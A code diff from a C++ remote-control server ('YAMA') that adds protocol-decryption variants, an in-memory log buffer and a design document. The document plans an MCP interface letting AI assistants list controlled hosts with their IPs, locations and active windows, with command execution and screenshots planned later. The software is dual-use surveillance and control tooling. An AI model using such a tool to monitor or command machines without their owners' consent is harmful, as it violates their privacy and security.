|
||||||
|
|
||||||
@@ -170,7 +175,8 @@ inline FlagType CheckHead(const char* flag, DecFun dec)
|
|||||||
// 解密需要尝试多种方法,以便能兼容老版本通讯协议
|
// 解密需要尝试多种方法,以便能兼容老版本通讯协议
|
||||||
inline FlagType CheckHead(char* flag, HeaderEncType& funcHit)
|
inline FlagType CheckHead(char* flag, HeaderEncType& funcHit)
|
||||||
{
|
{
|
||||||
static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6 };
|
static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6,
|
||||||
|
decrypt_v7, decrypt_v8, decrypt_v9, decrypt_v10 };
|
||||||
static const int methodNum = sizeof(methods) / sizeof(DecFun);
|
static const int methodNum = sizeof(methods) / sizeof(DecFun);
|
||||||
char buffer[MIN_COMLEN + 4] = {};
|
char buffer[MIN_COMLEN + 4] = {};
|
||||||
for (int i = 0; i < methodNum; ++i) {
|
for (int i = 0; i < methodNum; ++i) {
|
||||||
|
|||||||
17
common/logger.cpp
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
#include "logger.h"
|
||||||
|
|
||||||
|
#if defined(__ANDROID__)
|
||||||
|
static void (*androidLog)(const char*) = nullptr;
|
||||||
|
|
||||||
|
void UseAndroidLog(void (*cb)(const char*)) {
|
||||||
|
androidLog = cb;
|
||||||
|
}
|
||||||
|
|
||||||
|
__attribute__((format(printf, 1, 2)))
|
||||||
|
void android_log(const char* fmt, ...) {
|
||||||
|
char buf[256];
|
||||||
|
va_list ap; va_start(ap, fmt); vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
|
||||||
|
__android_log_print(ANDROID_LOG_DEBUG, "YAMA_NET", "%s", buf);
|
||||||
|
if (androidLog) androidLog(buf);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -29,6 +29,7 @@
|
|||||||
#include <cstdarg>
|
#include <cstdarg>
|
||||||
#include <iomanip>
|
#include <iomanip>
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
|
#include <deque>
|
||||||
|
|
||||||
|
|
||||||
inline bool stringToBool(const std::string& str)
|
inline bool stringToBool(const std::string& str)
|
||||||
@@ -150,6 +151,22 @@ public:
|
|||||||
std::string logEntry = file && line ?
|
std::string logEntry = file && line ?
|
||||||
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
|
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
|
||||||
id + "[" + timestamp + "] " + message;
|
id + "[" + timestamp + "] " + message;
|
||||||
|
|
||||||
|
// 方案B:在源头统一保证每条日志以单个 '\n' 结尾,文件与内存 ring buffer
|
||||||
|
// 共用同一份文本;写文件时不再额外追加换行,内存导出直接拼接即可正确分行。
|
||||||
|
while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
|
||||||
|
logEntry.pop_back();
|
||||||
|
logEntry += '\n';
|
||||||
|
|
||||||
|
// Always record to in-memory ring buffer regardless of enable flag.
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||||
|
m_memLog.push_back(logEntry);
|
||||||
|
m_totalCount++;
|
||||||
|
if (m_memLog.size() > kMemLogMax)
|
||||||
|
m_memLog.pop_front();
|
||||||
|
}
|
||||||
|
|
||||||
if (enable) {
|
if (enable) {
|
||||||
if (running) {
|
if (running) {
|
||||||
std::lock_guard<std::mutex> lock(queueMutex);
|
std::lock_guard<std::mutex> lock(queueMutex);
|
||||||
@@ -168,6 +185,32 @@ public:
|
|||||||
cv.notify_one(); // 通知写线程
|
cv.notify_one(); // 通知写线程
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 返回内存 ring buffer 中的全部日志(供 TCP 查询使用)
|
||||||
|
std::string DumpMemoryLog() const
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||||
|
std::string result;
|
||||||
|
result.reserve(m_memLog.size() * 128);
|
||||||
|
for (const auto& entry : m_memLog)
|
||||||
|
result += entry;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 增量版本:只返回 fromAbs 之后的新条目,并将 fromAbs 更新到当前末尾。
|
||||||
|
// fromAbs 是调用方维护的绝对计数器(首次传 0 即得全量)。
|
||||||
|
std::string DumpMemoryLogFrom(size_t& fromAbs) const
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||||
|
// ring buffer 内最旧条目的绝对序号
|
||||||
|
size_t oldest = (m_totalCount >= m_memLog.size()) ? m_totalCount - m_memLog.size() : 0;
|
||||||
|
size_t startIdx = (fromAbs <= oldest) ? 0 : (fromAbs - oldest);
|
||||||
|
std::string result;
|
||||||
|
for (size_t i = startIdx; i < m_memLog.size(); ++i)
|
||||||
|
result += m_memLog[i];
|
||||||
|
fromAbs = m_totalCount;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
// 停止日志系统
|
// 停止日志系统
|
||||||
void stop()
|
void stop()
|
||||||
{
|
{
|
||||||
@@ -220,6 +263,11 @@ private:
|
|||||||
std::mutex fileMutex; // 文件写入锁
|
std::mutex fileMutex; // 文件写入锁
|
||||||
std::string pid; // 进程ID
|
std::string pid; // 进程ID
|
||||||
|
|
||||||
|
static constexpr size_t kMemLogMax = 1000;
|
||||||
|
std::deque<std::string> m_memLog;
|
||||||
|
size_t m_totalCount = 0;
|
||||||
|
mutable std::mutex m_memMutex;
|
||||||
|
|
||||||
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
|
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
|
||||||
|
|
||||||
~Logger()
|
~Logger()
|
||||||
@@ -263,7 +311,7 @@ private:
|
|||||||
std::lock_guard<std::mutex> lock(fileMutex);
|
std::lock_guard<std::mutex> lock(fileMutex);
|
||||||
std::ofstream logFile(logFileName, std::ios::app);
|
std::ofstream logFile(logFileName, std::ios::app);
|
||||||
if (logFile.is_open()) {
|
if (logFile.is_open()) {
|
||||||
logFile << logEntry << std::endl;
|
logFile << logEntry; // logEntry 已在 log() 中以单个 '\n' 结尾
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -336,6 +384,15 @@ inline const char* getFileName(const char* path)
|
|||||||
#else
|
#else
|
||||||
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
|
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
|
||||||
#endif
|
#endif
|
||||||
|
#elif defined(__ANDROID__)
|
||||||
|
#include <android/log.h>
|
||||||
|
#include <cstdarg>
|
||||||
|
#ifdef Mprintf
|
||||||
|
#undef Mprintf
|
||||||
|
#endif
|
||||||
|
void UseAndroidLog(void (*cb)(const char*));
|
||||||
|
void android_log(const char* fmt, ...);
|
||||||
|
#define Mprintf android_log
|
||||||
#else
|
#else
|
||||||
// Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件
|
// Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件
|
||||||
#ifdef Mprintf
|
#ifdef Mprintf
|
||||||
|
|||||||
@@ -47,4 +47,4 @@ struct RttEstimator {
|
|||||||
|
|
||||||
// 进程级全局:所有翻译单元共享同一份估算器与心跳间隔
|
// 进程级全局:所有翻译单元共享同一份估算器与心跳间隔
|
||||||
inline RttEstimator g_rttEstimator;
|
inline RttEstimator g_rttEstimator;
|
||||||
inline int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
|
inline int g_heartbeatInterval = 30; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
|
||||||
|
|||||||
443
docs/Mcp_Design.md
Normal file
@@ -0,0 +1,443 @@
|
|||||||
|
# YAMA 服务端 MCP 支持方案
|
||||||
|
|
||||||
|
> 版本:1.0
|
||||||
|
> 状态:Final(定稿)
|
||||||
|
> 适用范围:`server/2015Remote/`(C++/MFC 服务端,生产主流)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 背景与目标
|
||||||
|
|
||||||
|
### 1.1 背景
|
||||||
|
|
||||||
|
MCP(Model Context Protocol)是 Anthropic 提出的开放协议,让 AI 助手(Claude Code、Claude Desktop 等)通过标准化的工具调用接口访问外部系统的能力。
|
||||||
|
|
||||||
|
YAMA 服务端维护了「在线主机列表」这一核心数据,如果能通过 MCP 暴露出去,用户就能在 Claude Code 里直接问「现在有多少台机器在线?」「列出所有在线的 Windows 主机」等,由 AI 调用工具获取实时数据。
|
||||||
|
|
||||||
|
### 1.2 本期范围(MVP)
|
||||||
|
|
||||||
|
**只跑通 MCP,只实现一个工具**,把可扩展架构搭起来:
|
||||||
|
|
||||||
|
- 传输方式:Streamable HTTP(`POST /mcp`,JSON-RPC 2.0 over HTTP)
|
||||||
|
- 工具数量:1 个 —— `list_online_hosts`(获取在线主机列表)
|
||||||
|
- 暴露范围:启用开关(默认关闭,经「扩展 → MCP设置」对话框开启)+ 绑定地址可配置(默认 `127.0.0.1` 仅本机)+ token 认证(env / THIS_CFG / 随机)
|
||||||
|
- 后续:逐步添加工具(进程列表、命令执行、屏幕截图等),架构不动
|
||||||
|
|
||||||
|
### 1.3 非目标(明确不做)
|
||||||
|
|
||||||
|
- 不做 SSE 服务器推送(本期工具调用是 request/response 即可)
|
||||||
|
- 不做多用户/角色体系(复用现有 WebService 认证或静态 token)
|
||||||
|
- 不做写操作工具(操控主机的工具属于后续阶段,需单独评审安全边界)
|
||||||
|
- 不碰现有 Web 控制台的 WebSocket 服务
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 现状分析
|
||||||
|
|
||||||
|
C++ 服务端已有大量可直接复用的资产,MCP 的落地成本因此大幅降低。
|
||||||
|
|
||||||
|
| 现成资产 | 位置 | 在 MCP 中的角色 |
|
||||||
|
|---|---|---|
|
||||||
|
| HTTP 服务器 | `httplib.h`(header-only,`file_server.h:34` 已用) | MCP 的 HTTP 传输层 |
|
||||||
|
| JSON 库 | `jsoncpp/json.h`(`WebService.cpp` 已用) | JSON-RPC 编解码 |
|
||||||
|
| Token 认证 | `WebServiceAuth.h`(`GenerateToken` / `ValidateToken` / `ComputeSHA256`) | 可选升级路径;MVP 用简单静态 token 比对(见 §3.5) |
|
||||||
|
| 在线主机列表 → JSON | `CWebService::BuildDeviceListJson()`(`WebService.cpp:1506`) | **工具 `list_online_hosts` 的核心逻辑** |
|
||||||
|
| 在线主机数据源 | `CMy2015RemoteDlg::m_HostList`(`2015RemoteDlg.h:345`,`m_cs` 保护)+ `context::IsLogin()` + `context::GetClientData()` | 取数入口 |
|
||||||
|
| 配置系统 | `THIS_CFG.GetInt/GetStr("settings", ...)` | MCP 端口/token 配置 |
|
||||||
|
|
||||||
|
### 2.1 关键结论
|
||||||
|
|
||||||
|
- **HTTP、JSON、认证、主机列表 JSON 全部现成**,MCP 侧不需要重新造轮子。
|
||||||
|
- **唯一需要手写的是 MCP 的 JSON-RPC 2.0 协议层**,因为 C++ 没有官方 MCP SDK(官方仅有 TS/Python/Java/Kotlin/C#/Go)。
|
||||||
|
|
||||||
|
### 2.2 `BuildDeviceListJson` 现状
|
||||||
|
|
||||||
|
`WebService.cpp:1506` 的 `CWebService::BuildDeviceListJson(const std::string& username)` 已实现:
|
||||||
|
|
||||||
|
- 遍历 `m_pParentDlg->m_HostList`,过滤 `ctx->IsLogin()`
|
||||||
|
- 输出字段:`id` / `name` / `remark` / `ip` / `os` / `location` / `rtt` / `version` / `activeWindow` / `online` / `group` / `screen` / `clientType`
|
||||||
|
- 已处理 GBK/UTF-8 编码分叉(`activeWindow` 字段按客户端能力位选择编码页,见 `WebService.cpp:1581` 附近的 `GetClientEncoding`)
|
||||||
|
|
||||||
|
**该方法是 `private`**(`WebService.h:160`,位于 private 段)。MCP 侧需通过公开入口复用(见 §3.4)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 方案设计
|
||||||
|
|
||||||
|
### 3.1 总体架构
|
||||||
|
|
||||||
|
```
|
||||||
|
2015Remote.exe(MFC 服务端进程)
|
||||||
|
├─ IOCP TCP 服务(被控端连接,现有)
|
||||||
|
├─ WebService(ws::Server,Web 控制台,现有,8080)
|
||||||
|
└─ McpServer(httplib,新增,默认禁用,经「MCP设置」开启后监听 127.0.0.1:6544)
|
||||||
|
POST /mcp → JSON-RPC 分发
|
||||||
|
├─ initialize
|
||||||
|
├─ tools/list
|
||||||
|
└─ tools/call
|
||||||
|
└─ list_online_hosts → 复用 BuildHostJson(公共函数,§3.4)
|
||||||
|
```
|
||||||
|
|
||||||
|
**核心决策:独立起一个 httplib server,不挂到现有 `ws::Server`。**
|
||||||
|
|
||||||
|
理由:
|
||||||
|
- 现有 `ws::Server` 的 `HttpHandler` 只有 `path` 参数、无 POST body(`SimpleWebSocket.h:345`),强挂 MCP 需改动其底层,侵入大、有回归风险。
|
||||||
|
- 独立 server 零耦合、零风险,且天然满足「仅 127.0.0.1」的绑定需求。
|
||||||
|
|
||||||
|
### 3.2 新增文件清单
|
||||||
|
|
||||||
|
| 文件 | 职责 | 估算量 |
|
||||||
|
|---|---|---|
|
||||||
|
| `McpServer.h` / `McpServer.cpp` | httplib 封装、`POST /mcp` 路由、token 校验、生命周期 | ~120 行 |
|
||||||
|
| `McpProtocol.h` / `McpProtocol.cpp` | JSON-RPC 2.0 协议层:`initialize` / `tools/list` / `tools/call` 分发 | ~250 行 |
|
||||||
|
| `McpTools.h` / `McpTools.cpp` | 工具注册表 + `list_online_hosts` 实现 | ~80 行 |
|
||||||
|
| `McpSettingsDlg.h` / `McpSettingsDlg.cpp` | 「MCP设置」配置对话框(启用/端口/绑定/token + 重启提醒) | ~150 行 |
|
||||||
|
| 修改 `2015RemoteDlg.cpp` / `.h` | 启动/停止 McpServer + 菜单项接线(`ID_MCP_SETTINGS` → `OnMcpSettings`) | ~30 行 |
|
||||||
|
| 修改 `2015Remote.rc` / `resource.h` / `UIBranding.h` / `FeatureFlags.h` | `ID_MCP_SETTINGS` 菜单项 + `IDD_DIALOG_MCP_SETTINGS` 对话框资源 + `HIDE_MENU_MCP_SETTINGS` + `MF_MCP_SETTINGS` 许可位 | 少量 |
|
||||||
|
|
||||||
|
> 头文件/实现可合并精简,实际以「一个 `McpServer` 类 + 一个工具注册表 + 一个协议分发函数」为最小形态,文件拆分仅为可读性。
|
||||||
|
|
||||||
|
### 3.3 协议层设计(JSON-RPC 2.0)
|
||||||
|
|
||||||
|
MCP 是 JSON-RPC 2.0。MVP 只需实现以下方法:
|
||||||
|
|
||||||
|
#### 3.3.1 `initialize`(握手)
|
||||||
|
|
||||||
|
请求:
|
||||||
|
```json
|
||||||
|
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"claude","version":"..."}}}
|
||||||
|
```
|
||||||
|
|
||||||
|
响应:
|
||||||
|
```json
|
||||||
|
{"jsonrpc":"2.0","id":1,"result":{
|
||||||
|
"protocolVersion":"2025-06-18",
|
||||||
|
"capabilities":{"tools":{}},
|
||||||
|
"serverInfo":{"name":"yama","version":"<VERSION_STR>"}
|
||||||
|
}}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 3.3.2 `tools/list`
|
||||||
|
|
||||||
|
请求:`{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}`
|
||||||
|
|
||||||
|
响应:
|
||||||
|
```json
|
||||||
|
{"jsonrpc":"2.0","id":2,"result":{"tools":[{
|
||||||
|
"name":"list_online_hosts",
|
||||||
|
"description":"获取当前所有在线主机的列表,包含计算机名、IP、操作系统、版本、备注、分组、活动窗口、延迟等实时信息。",
|
||||||
|
"inputSchema":{"type":"object","properties":{},"required":[]},
|
||||||
|
"outputSchema":{
|
||||||
|
"type":"object",
|
||||||
|
"properties":{
|
||||||
|
"hosts":{
|
||||||
|
"type":"array",
|
||||||
|
"items":{
|
||||||
|
"type":"object",
|
||||||
|
"properties":{
|
||||||
|
"id":{"type":"string"},
|
||||||
|
"name":{"type":"string"},
|
||||||
|
"remark":{"type":"string"},
|
||||||
|
"ip":{"type":"string"},
|
||||||
|
"os":{"type":"string"},
|
||||||
|
"location":{"type":"string"},
|
||||||
|
"rtt":{"type":"string"},
|
||||||
|
"version":{"type":"string"},
|
||||||
|
"activeWindow":{"type":"string"},
|
||||||
|
"online":{"type":"boolean"},
|
||||||
|
"group":{"type":"string"},
|
||||||
|
"screen":{"type":"string"},
|
||||||
|
"clientType":{"type":"string"}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"required":["hosts"]
|
||||||
|
}
|
||||||
|
}]}}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 3.3.3 `tools/call`
|
||||||
|
|
||||||
|
请求:
|
||||||
|
```json
|
||||||
|
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"list_online_hosts","arguments":{}}}
|
||||||
|
```
|
||||||
|
|
||||||
|
响应(结构化输出:`structuredContent` 承载主机数组,`content` 附带可读摘要):
|
||||||
|
```json
|
||||||
|
{"jsonrpc":"2.0","id":3,"result":{
|
||||||
|
"structuredContent":{
|
||||||
|
"hosts":[
|
||||||
|
{"id":"123","name":"DESKTOP-ABC","remark":"我的Windows","ip":"192.168.0.92",
|
||||||
|
"os":"Windows 10","location":"上海市","rtt":"12","version":"...",
|
||||||
|
"activeWindow":"WeChat","online":true,"group":"default","screen":"1:1920x1080","clientType":"EXE"}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"content":[{"type":"text","text":"共 1 台主机在线。"}],
|
||||||
|
"isError":false
|
||||||
|
}}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 3.3.4 可选实现
|
||||||
|
|
||||||
|
- `ping`:返回空 result(便于健康检查)
|
||||||
|
- `notifications/initialized`:客户端通知,可忽略
|
||||||
|
|
||||||
|
#### 3.3.5 错误响应(JSON-RPC 2.0 标准)
|
||||||
|
|
||||||
|
协议层必须处理以下错误,返回标准 `error` 结构(`id` 回填请求 id):
|
||||||
|
|
||||||
|
| 场景 | code | message |
|
||||||
|
|---|---|---|
|
||||||
|
| 请求体不是合法 JSON | `-32700` | Parse error |
|
||||||
|
| 请求结构不合法(缺 jsonrpc/method 等) | `-32600` | Invalid Request |
|
||||||
|
| 方法未实现 | `-32601` | Method not found |
|
||||||
|
| 参数非法 | `-32602` | Invalid params |
|
||||||
|
| 内部错误 | `-32603` | Internal error |
|
||||||
|
|
||||||
|
示例(方法未实现):
|
||||||
|
```json
|
||||||
|
{"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"Method not found"}}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 3.3.6 传输层约定(Streamable HTTP 最小子集)
|
||||||
|
|
||||||
|
- 客户端 `POST /mcp`,请求头 `Content-Type: application/json`、`Accept: application/json, text/event-stream`。
|
||||||
|
- 服务端返回 `Content-Type: application/json`(MVP 工具调用为 request/response,无需 SSE 流式)。
|
||||||
|
- `initialize` 响应可回填 `Mcp-Session-Id` 头用于会话管理;MVP 单会话可省略,实现时对照最新 MCP 规范确认。
|
||||||
|
- 仅接受 `POST /mcp`,其余路径/方法返回 404/405。
|
||||||
|
|
||||||
|
### 3.4 工具设计:`list_online_hosts`
|
||||||
|
|
||||||
|
#### 取数方案(已定:抽公共函数)
|
||||||
|
|
||||||
|
`BuildDeviceListJson` 目前是 `CWebService` 的 private 方法,且依赖 `m_pParentDlg`。为满足「MCP 与 WebService 是平级数据消费者、不互相依赖」的原则,采用**方案 C:抽公共函数**。
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// 公共函数:提取单台在线主机的完整数据(含 GBK/UTF-8 编码处理),返回 UTF-8 的 Json::Value
|
||||||
|
Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
|
||||||
|
```
|
||||||
|
|
||||||
|
- `CWebService::BuildDeviceListJson` 内部改调该公共函数,Web 侧签名与输出不变(零回归)。
|
||||||
|
- `McpServer` 侧持 `CMy2015RemoteDlg*`(`SetParentDlg`),在 `m_cs` 锁内遍历 `m_HostList`、`IsLogin()` 过滤,对每台主机调 `BuildHostJson`,组装为结构化输出。
|
||||||
|
- **职责边界**:用户名/分组过滤(`username` → `allowed_groups`)、`m_cs` 加锁、以及外层结构(Web 的 `{"cmd","devices"}` vs MCP 的 `{"hosts"}`)属于**调用方**,不进公共函数;`BuildHostJson` 只负责「单台主机 → `Json::Value`」的字段序列化与编码转换。其中 `remark` 依赖 `m_ClientMap->GetClientMapData(id, MAP_NOTE)`,故 `clientMap` 作为参数传入。
|
||||||
|
|
||||||
|
选型说明:方案 A(MCP 依赖 `CWebService` 单例)依赖方向错误,且 `WebSvrPort=0` 时 `m_pParentDlg` 为空导致取不到数;方案 B(MCP 自持父对话框复制逻辑)违反 DRY、重复易错的编码处理。故取 C。
|
||||||
|
|
||||||
|
#### 返回内容(全量,含实时信息)
|
||||||
|
|
||||||
|
**保留 `BuildDeviceListJson` 的全部字段,不做精简**,以支持「AI 协助监督客户端运行状态」的场景:
|
||||||
|
|
||||||
|
- 基础标识:`id` / `name` / `remark` / `ip` / `os` / `location` / `group` / `version` / `clientType` / `screen`
|
||||||
|
- 实时信息:`rtt`(延迟)、`activeWindow`(当前活动窗口,即被控端正在做什么)
|
||||||
|
|
||||||
|
输出结构 `{"hosts": [...]}`,每台主机一个对象,字段与 §3.3.2 的 `outputSchema` 一致。
|
||||||
|
|
||||||
|
### 3.5 安全设计
|
||||||
|
|
||||||
|
- **绑定地址**:默认 `127.0.0.1`(仅本机回环,其他机器无法访问);可经 `McpBind` 配置为 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程调用。
|
||||||
|
- 非回环绑定时 token 经明文 HTTP 传输,需强 token,并建议配合防火墙限制源 IP 或启用 HTTPS(项目已有 WebHTTPS 实践)。
|
||||||
|
- **静态 token 校验**:每个 `POST /mcp` 请求校验 `Authorization: Bearer <token>` header;不匹配返回 HTTP 401。
|
||||||
|
- **token 来源**(优先顺序):环境变量 `YAMA_MCP_TOKEN` → `THIS_CFG` 的 `McpToken` → 两者皆空则**随机生成**。
|
||||||
|
- 前两者任一非空即作为固定 token;仅当两者皆空时才随机生成(仅本次进程运行期间有效,进程重启后重新生成不同的 token)。
|
||||||
|
- 随机生成时**必须将 token 输出到日志**(`Mprintf`),否则用户无从获知、无法在 Claude Code 侧配置。
|
||||||
|
- 环境变量名 `YAMA_MCP_TOKEN` 建议同 `BRAND_WEB_ENV_VAR` 一样在 `UIBranding.h` 定义为宏(如 `BRAND_MCP_ENV_VAR`),避免散落硬编码字符串。
|
||||||
|
- **只读边界**:MVP 仅一个只读工具,不暴露任何写/操控能力。
|
||||||
|
- **HTTP 方法限制**:仅接受 `POST /mcp`,其余返回 404/405。
|
||||||
|
|
||||||
|
### 3.6 配置设计
|
||||||
|
|
||||||
|
沿用现有 `THIS_CFG`(`settings` 节):
|
||||||
|
|
||||||
|
| 配置键 | 默认值 | 说明 |
|
||||||
|
|---|---|---|
|
||||||
|
| `McpEnabled` | `0` | MCP 总开关:`0` = 禁用(默认),`1` = 启用。经「扩展 → MCP设置」对话框设置 |
|
||||||
|
| `McpPort` | `6544` | MCP 监听端口;仅当 `McpEnabled=1` 时生效;未配置用默认 `6544` |
|
||||||
|
| `McpBind` | `127.0.0.1` | 监听地址;默认仅本机;可设 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程 |
|
||||||
|
| `McpToken` | 空(UI 默认随机值) | 静态 token;对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级:env `YAMA_MCP_TOKEN` → `McpToken` → 皆空则随机生成(见 §3.5) |
|
||||||
|
|
||||||
|
> 与旧版「`McpPort=0` 即禁用」不同:启用与否改由独立的 `McpEnabled` 开关控制,`McpPort` 回归纯端口语义,二者解耦。
|
||||||
|
|
||||||
|
### 3.7 生命周期接入
|
||||||
|
|
||||||
|
在 `2015RemoteDlg.cpp` Web 服务启动块(约 `2048-2081`)之后,新增 MCP 启动逻辑。`McpServer` 与 `CWebService` 同为单例:提供 `static McpServer& Instance()` 与全局 `inline McpServer& McpServer()` 访问器(仿 `WebService()`,见 `WebService.h` 末尾的全局访问器写法)。
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
auto mcpEnabled = THIS_CFG.GetInt("settings", "McpEnabled", 0); // 默认禁用
|
||||||
|
auto mcpPort = THIS_CFG.GetInt("settings", "McpPort", 6544);
|
||||||
|
auto mcpBind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
|
||||||
|
if (mcpEnabled) {
|
||||||
|
// token 优先顺序:env YAMA_MCP_TOKEN → THIS_CFG McpToken → 皆空则随机(仅本次进程有效)
|
||||||
|
const char* envTok = getenv("YAMA_MCP_TOKEN");
|
||||||
|
std::string mcpToken;
|
||||||
|
if (envTok && *envTok) {
|
||||||
|
mcpToken = envTok;
|
||||||
|
} else {
|
||||||
|
mcpToken = THIS_CFG.GetStr("settings", "McpToken", "");
|
||||||
|
}
|
||||||
|
if (mcpToken.empty()) {
|
||||||
|
mcpToken = GenerateRandomToken(); // 32 hex 随机串
|
||||||
|
Mprintf("[McpServer] YAMA_MCP_TOKEN / McpToken 均未设置,本次进程随机 token:%s\n", mcpToken.c_str());
|
||||||
|
}
|
||||||
|
McpServer().SetParentDlg(this); // 方案 C:MCP 需遍历 m_HostList,须持父对话框指针
|
||||||
|
McpServer().SetToken(mcpToken);
|
||||||
|
if (!McpServer().Start(mcpBind, mcpPort)) {
|
||||||
|
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
并在退出路径(`OnDestroy` / `ExitInstance` 对应位置)调用 `McpServer().Stop()`。
|
||||||
|
|
||||||
|
### 3.8 「MCP设置」配置对话框
|
||||||
|
|
||||||
|
MCP 默认不启用,通过主对话框「扩展 → MCP设置」菜单项打开配置对话框来开启。菜单项位置:`2015Remote.rc` 扩展菜单(`POPUP "扩展(&X)"`)内、「地理信息(&L)」子菜单(纯真数据库 / IP2Region)的 `END` 之后、「插件设置」之前。
|
||||||
|
|
||||||
|
#### 3.8.1 菜单与资源接线
|
||||||
|
|
||||||
|
1. **`resource.h`**:新增命令 ID(取当前空闲段,经查 `33077` 空闲):
|
||||||
|
```cpp
|
||||||
|
#define ID_MCP_SETTINGS 33077
|
||||||
|
```
|
||||||
|
2. **`2015Remote.rc`**:在「地理信息(&L)」子菜单 `END` 之后、`插件设置` 之前插入:
|
||||||
|
```
|
||||||
|
MENUITEM "MCP设置(&M)...", ID_MCP_SETTINGS
|
||||||
|
```
|
||||||
|
并新增对话框资源 `IDD_DIALOG_MCP_SETTINGS`(「启用 MCP」复选框 + 端口/绑定地址/token 三个编辑框 + 确定/取消按钮)。
|
||||||
|
3. **`UIBranding.h`**:扩展菜单隐藏开关新增一行(默认 `0` 显示):
|
||||||
|
```cpp
|
||||||
|
#define HIDE_MENU_MCP_SETTINGS 0 // MCP设置
|
||||||
|
```
|
||||||
|
4. **`FeatureFlags.h`**:新增运行时许可位,占用 MenuFlags 保留段 `[43-63]` 的首位(紧跟 `MF_REQUEST_AUTH` 之后):
|
||||||
|
```cpp
|
||||||
|
#define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
|
||||||
|
```
|
||||||
|
5. **`2015RemoteDlg.cpp`**:`#include "McpSettingsDlg.h"`,然后消息映射 + 处理器 + 剪枝:
|
||||||
|
```cpp
|
||||||
|
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
|
||||||
|
// ...
|
||||||
|
void CMy2015RemoteDlg::OnMcpSettings()
|
||||||
|
{
|
||||||
|
CMcpSettingsDlg dlg(this);
|
||||||
|
dlg.DoModal();
|
||||||
|
}
|
||||||
|
```
|
||||||
|
并在扩展菜单剪枝块(`pExtMenu`,约 `2015RemoteDlg.cpp:1225` 之后)追加:
|
||||||
|
```cpp
|
||||||
|
if (SHOULD_HIDE_MENU(HIDE_MENU_MCP_SETTINGS, MF_MCP_SETTINGS))
|
||||||
|
pExtMenu->DeleteMenu(ID_MCP_SETTINGS, MF_BYCOMMAND);
|
||||||
|
```
|
||||||
|
|
||||||
|
> **实现注意**:`2015Remote.rc` 为 UTF-16 编码,菜单与对话框资源须由 VS 资源编辑器维护(手工改文本易破坏编码与资源 ID 引用)。`IDD_DIALOG_MCP_SETTINGS` 需在 `resource.h` 分配独立空闲的 `IDD_` 数值(与 `ID_MCP_SETTINGS` 分开);对话框内控件 ID(如 `IDC_CHK_ENABLE_MCP` / `IDC_EDIT_MCP_PORT` / `IDC_EDIT_MCP_BIND` / `IDC_EDIT_MCP_TOKEN`)同理。
|
||||||
|
|
||||||
|
#### 3.8.2 对话框字段与默认值
|
||||||
|
|
||||||
|
| 控件 | 绑定配置键 | 默认值 | 说明 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 「启用 MCP」复选框 | `McpEnabled` | 未勾选(`0`) | 勾选后持久化 `McpEnabled=1` |
|
||||||
|
| 端口 | `McpPort` | `6544` | 数字编辑框,仅当启用时有效 |
|
||||||
|
| 绑定地址 | `McpBind` | `127.0.0.1` | 默认仅本机;可改 `0.0.0.0` / 内网 IP |
|
||||||
|
| Token | `McpToken` | 随机值 | 必填;为空时预填随机 token |
|
||||||
|
|
||||||
|
#### 3.8.3 初始化与保存
|
||||||
|
|
||||||
